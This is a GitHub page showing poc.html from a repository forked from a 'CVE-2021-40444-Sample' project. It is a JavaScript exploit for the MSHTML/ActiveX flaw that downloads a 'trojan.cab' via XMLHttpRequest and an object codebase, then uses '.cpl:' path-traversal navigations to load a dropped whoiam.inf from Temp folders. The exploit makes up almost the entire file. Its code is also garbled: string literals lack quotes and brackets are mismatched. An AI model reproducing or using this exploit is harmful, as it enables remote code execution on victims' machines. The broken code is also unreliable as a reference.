forked from k4k4/CVE-2021-40444-Sample
-
Notifications
You must be signed in to change notification settings - Fork 3
/
poc.html
68 lines (68 loc) · 3.44 KB
/
poc.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Expires" content="-1">
<meta http-equiv="X-UA-Compatible" content="IE=11">
</head>
<body>
<script>
function(){
try{
window[HTMLElement][prototype][appendChild][call](window[document][body],
window[Document][prototype][createElement][call](window[document],iframe));
}catch(_0x1c747c){
window[HTMLElement][prototype][appendChild][call](window[document][documentElement],
window[Document][prototype][createElement][call](window[document],iframe));
}
iframeActxHtml1 = new window[Document][prototype][createElement][call](window[document],iframe)[contentWindow][ActiveXObject](htmlfile);
window[Document][prototype][createElement][call](window[document],iframe)[contentDocument][open]()[close]();
try{
window[HTMLElement][prototype][removeChild][call](window[document][body],
window[Document][prototype][createElement][call](window[document],iframe));
}catch(_0x5afb73){
window[HTMLElement][prototype][removeChild][call](window[document][documentElement],
window[Document][prototype][createElement][call](window[document],iframe));
}
iframeActxHtml1[open]()[close]();
var iframeActxHtml2= iframeActxHtml1[Script][ActiveXObject)](htmlFile);
iframeActxHtml2[open]()[close]();
iframeActxHtml3 = iframeActxHtml2[(Script)][ActiveXObject](htmlFile);
iframeActxHtml3[open]()[close]();
var iframeActxHtml4=new iframeActxHtml3[Script][(ActiveXObject)](htmlFile);
iframeActxHtml4[open]()[close]();
var actx_html_0=new ActiveXObject(htmlfile),
actx_html_1=new ActiveXObject(htmlfile),
actx_html_2=new ActiveXObject(htmlfile),
actx_html_3=new ActiveXObject(htmlfile),
actx_html_4=new ActiveXObject(htmlfile),
actx_html_5=new ActiveXObject(htmlfile),
xmlhttpreq1=new window[XMLHttpRequest](),
window[setTimeout]=window[setTimeout];
window[XMLHttpRequest][prototype][open][call](xmlhttpreq1,GET,http://localhost/trojan.cab,![]),
window[XMLHttpRequest][prototype][send][call](xmlhttpreq1),
iframeActxHtml4[Script][document][write](&lt;body>);
var cabloadunpack=window[Document][prototype][createElement][call](iframeActxHtml4[Script][document],object);
cabloadunpack[setAttribute](codebase,http://localhost/trojan.cab#version=5,0,0,0);
cabloadunpack[setAttribute](classid,CLSID:b7771b25-4e74-4168-add9-04062d629d9a),
window[HTMLElement][prototype][appendChild][call](iframeActxHtml4[Script][document][body],cabloadunpack),
actx_html_0[Script][location]=.cpl:123,
actx_html_0[Script][location]=.cpl:123,
actx_html_0[Script][location]=.cpl:123,
actx_html_0[Script][location]=.cpl:123,
actx_html_0[Script][location]=.cpl:123,
actx_html_0[Script][location]=.cpl:123,
actx_html_0[Script][location]=.cpl:123,
actx_html_0[Script][location]=.cpl:123,
actx_html_0[Script][location]=.cpl:123,
actx_html_0[Script][location]=.cpl:../../../AppData/Local/Temp/Low/whoiam.inf,
actx_html_1[Script][location]=.cpl:../../../AppData/Local/Temp/whoiam.inf,
actx_html_2[Script][location]=.cpl:../../../../AppData/Local/Temp/Low/whoiam.inf,
actx_html_3[Script][location]=.cpl:../../../../AppData/Local/Temp/whoiam.inf,
actx_html_4[Script][location]=.cpl:../../../../../Temp/Low/whoiam.inf,
actx_html_3[Script][location]=.cpl:../../../../../Temp/whoiam.inf,
actx_html_3[Script][location]=.cpl:../../Low/whoiam.inf,
actx_html_3[Script][location]=.cpl:../../whoiam.inf;
}();
</script>
</body>
</html>